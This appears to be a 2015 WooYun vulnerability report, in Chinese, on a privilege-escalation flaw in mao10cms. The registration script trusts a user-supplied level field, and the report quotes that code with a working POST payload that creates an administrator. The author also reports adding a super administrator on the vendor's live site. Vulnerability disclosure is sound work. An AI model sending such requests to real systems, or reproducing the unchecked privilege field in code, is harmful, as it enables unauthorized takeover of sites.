当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0145584

漏洞标题：mao10cms逻辑漏洞可添加超级管理员（官网演示）

相关厂商：mao10.com

漏洞作者： pang0lin

提交时间：2015-10-12 14:01

修复时间：2016-01-14 15:20

公开时间：2016-01-14 15:20

漏洞类型：非授权访问/权限绕过

危害等级：高

自评Rank：15

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-10-12： 细节已通知厂商并且等待厂商处理中
2015-10-16： 厂商已经确认，细节仅向厂商公开
2015-10-19： 细节向第三方安全合作伙伴开放（绿盟科技、唐朝安全巡航）
2015-12-10： 细节向核心白帽子及相关领域专家公开
2015-12-20： 细节向普通白帽子公开
2015-12-30： 细节向实习白帽子公开
2016-01-14： 细节向公众公开

简要描述：

才看了一分钟，就看到了这么个简单的漏洞，我挖

详细说明：

1.首先定位到mao10cms的添加用户页面do/user_register.php

require 'functions.php';
if($_POST['user_name'] && $_POST['user_pass'] && $_POST['user_level']>0) :
	$date['name'] = mc_remove_html($_POST['user_name']);
	$date['pass'] = md5($_POST['user_pass'].mc_option('site_key'));
	$date['level'] = $_POST['user_level'];//这里传入了level
	//判断用户名是否存在
	$db->where('name', $date['name']);
	$user = $db->getOne('user');
	if($user) :
		$url = mc_option('site_url').'?m=user&a=register&done=用户名已存在';
	else :
		if(strlen($date['name'])>16) :
			$url = mc_option('site_url').'?m=user&a=register&done=用户名过长';
		elseif(strpos($date['name']," ")) :
			$url = mc_option('site_url').'?m=user&a=register&done=用户名不得包含空格';
		else :
			$id = $db->insert('user',$date);
			if($id) :
				$_SESSION['user_name'] = $date['name'];
				$_SESSION['user_pass'] = $date['pass'];
				//跳转页面
				if($_POST['user_referer']) :
					$url = $_POST['user_referer'];
				else :
					$url = mc_option('site_url').'?m=user&a=index&id='.$id;
				endif;
			else :
				$url = mc_option('site_url').'?m=user&a=register&done=注册失败';
			endif;
		endif;
	endif;
else :


2.mao10cms在添加用户的时候，设置了level字段用来表示用户权限，但是从上面的代码可以看出mao10cms并没有对level字段进行有效的验证。那么我们就可以任意添加管理员。构造payload

http://localhost/mao10cms/do/user_register.php
POST
user_name=test4&user_pass=123456&user_level=1


2.png


3.同样的方法，可以对官网添加一个超级管理员的用户

1.png


漏洞证明：

1.png

修复方案：

你们懂得

版权声明：转载请注明来源 pang0lin@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：15

确认时间：2015-10-16 15:19

厂商回复：

给你点个赞

最新状态：

暂无